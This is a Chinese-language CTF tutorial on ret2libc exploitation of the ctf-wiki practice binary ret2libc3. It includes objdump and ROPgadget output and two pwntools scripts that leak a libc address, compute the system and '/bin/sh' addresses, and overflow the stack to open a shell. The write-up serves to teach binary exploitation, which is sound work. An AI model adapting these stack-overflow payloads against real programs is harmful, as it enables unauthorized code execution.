ret2libc就是控制函数的执行libc中的函数,通常是返回至某个函数的 plt 处。一般情况下,我们会选择执行 system("/bin/sh"),因此我们通常需要找到 system 函数的地址。
ret2libc通常可以分为下面这几类:
不管程序没有直接给出我们需要条件,我们都要想办法找到system()函数的地址和"/bin/sh"字符串的地址;当程序中没有"/bin/sh"字符串时,我们可以利用程序中某些函数如:read,fgets,gets等函数将"/bin/sh"字符串写入bss段或某个变量中,并且要可以找到其地址;对于只给出了libc.so文件的程序,我们可以直接在libc.so文件当中去找system()函数和"/bin/sh"字符串,因为libc.so文件中也是包含了这些的;最后对于没有给出libc.so文件的程序,我们可以通过泄露出程序当中的某个函数的地址,通过查询来找出其使用lib.so版本是哪一个
最后一种:无system函数无/bin/sh字符串无libc.so文件
[*] '/mnt/hgfs/ubuntu_share/pwn/wiki/ret2libc3'
Arch: i386-32-little
RELRO: Partial RELRO
Stack: No canary found
NX: NX enabled
PIE: No PIE (0x8048000)
root@ubuntu:/mnt/hgfs/ubuntu_share/pwn/wiki# objdump -d ret2libc3 | grep 'plt'
8048415: e8 56 00 00 00 call 8048470 <__gmon_start__@plt>
Disassembly of section .plt:
08048420 :
08048430 :
08048440 :
08048450
root@ubuntu:/mnt/hgfs/ubuntu_share/pwn/wiki# ROPgadget --binary ret2libc3 --string "/bin/sh"
Strings information
============================================================
动态链接的程序是在运行时需要对全局和静态数据访问进行GOT定位,然后间接寻址。同样,对于模块间的调用也需要GOT定位,再才间接跳转,这么做势必会影响到程序的运行速度。而且程序在运行时很大一部分函数都可能用不到,于是ELF采用了当函数第一次使用时才进行绑定的思想,也就是我们所说的延迟绑定。ELF实现 延迟绑定 是通过 PLT ,原先 GOT 中存放着全局变量和函数调用,现在把他拆成另个部分 .got 和 .got.plt,用 .got 存放着全局变量引用,用 .got.plt 存放着函数引用。
如:计算system函数在内存空间中的函数地址。
该工具的安装及使用方法在其readme上已经描述的很清楚
这里不再赘述
主要就是使用该工具查找libc中函数的相对位置。
查找__libc_start_main函数在got表的地址
root@ubuntu:/mnt/hgfs/ubuntu_share/pwn/wiki# objdump -R ret2libc3
ret2libc3: file format elf32-i386
DYNAMIC RELOCATION RECORDS
OFFSET TYPE VALUE
08049ffc R_386_GLOB_DAT __gmon_start__
0804a040 R_386_COPY stdin@@GLIBC_2.0
0804a060 R_386_COPY stdout@@GLIBC_2.0
0804a00c R_386_JUMP_SLOT printf@GLIBC_2.0
0804a010 R_386_JUMP_SLOT gets@GLIBC_2.0
0804a014 R_386_JUMP_SLOT time@GLIBC_2.0
0804a018 R_386_JUMP_SLOT puts@GLIBC_2.0
0804a01c R_386_JUMP_SLOT __gmon_start__
0804a020 R_386_JUMP_SLOT srand@GLIBC_2.0
0804a024 R_386_JUMP_SLOT __libc_start_main@GLIBC_2.0
0804a028 R_386_JUMP_SLOT setvbuf@GLIBC_2.0
0804a02c R_386_JUMP_SLOT rand@GLIBC_2.0
0804a030 R_386_JUMP_SLOT __isoc99_scanf@GLIBC_2.7
from pwn import *
sh = process('ret2libc3')
start_addr = 0x080484D0
put_plt = 0x08048460
libc_main_addr = 0x0804a024
payload = 112 * 'a' + p32(put_plt) + p32(start_addr) + p32(libc_main_addr)
sh.recv()
sh.sendline(payload)
libc_real_addr = u32(sh.recv(4))
print "real_addr is:" + hex(libc_real_addr)
sh.recv()
addr_base = libc_real_addr - 0x018540
system_addr = addr_base + 0x03a940
string_addr = addr_base + 0x15902b
print "system addr is:" + hex(system_addr)
print "string_addr is:" + hex(string_addr)
payload = 112 * 'a' + p32(system_addr) + "aaaa" + p32(string_addr)
sh.sendline(payload)
sh.interactive()
吐槽一下LibcSearcher,搜到的libc中的偏移找到了4个libc,我依次试了一下,都不对。
然后用这个网站查询的偏移,直接就打通了。
from pwn import *
sh = process('ret2libc3')
#start_addr = 0x080484D0
start_addr = 0x08048618
put_plt = 0x08048460
libc_main_addr = 0x0804a024
payload = 112 * 'a' + p32(put_plt) + p32(start_addr) + p32(libc_main_addr)
sh.recv()
sh.sendline(payload)
libc_real_addr = u32(sh.recv(4))
print "real_addr is:" + hex(libc_real_addr)
sh.recv()
addr_base = libc_real_addr - 0x018540
system_addr = addr_base + 0x03a940
string_addr = addr_base + 0x15902b
print "system addr is:" + hex(system_addr)
print "string_addr is:" + hex(string_addr)
payload = 104 * 'a' + p32(system_addr) + "aaaa" + p32(string_addr)
sh.sendline(payload)
sh.interactive()
简单地说,main()函数是用户代码的入口,是对用户而言的;而_start()函数是系统代码的入口,是程序真正的入口。
我们可以看下本题的_start()函数内容,其包含main()和__libc_start_main()函数的调用,也就是说,它才是程序真正的入口
读者可再补充一下动态编译,plt表及got表的知识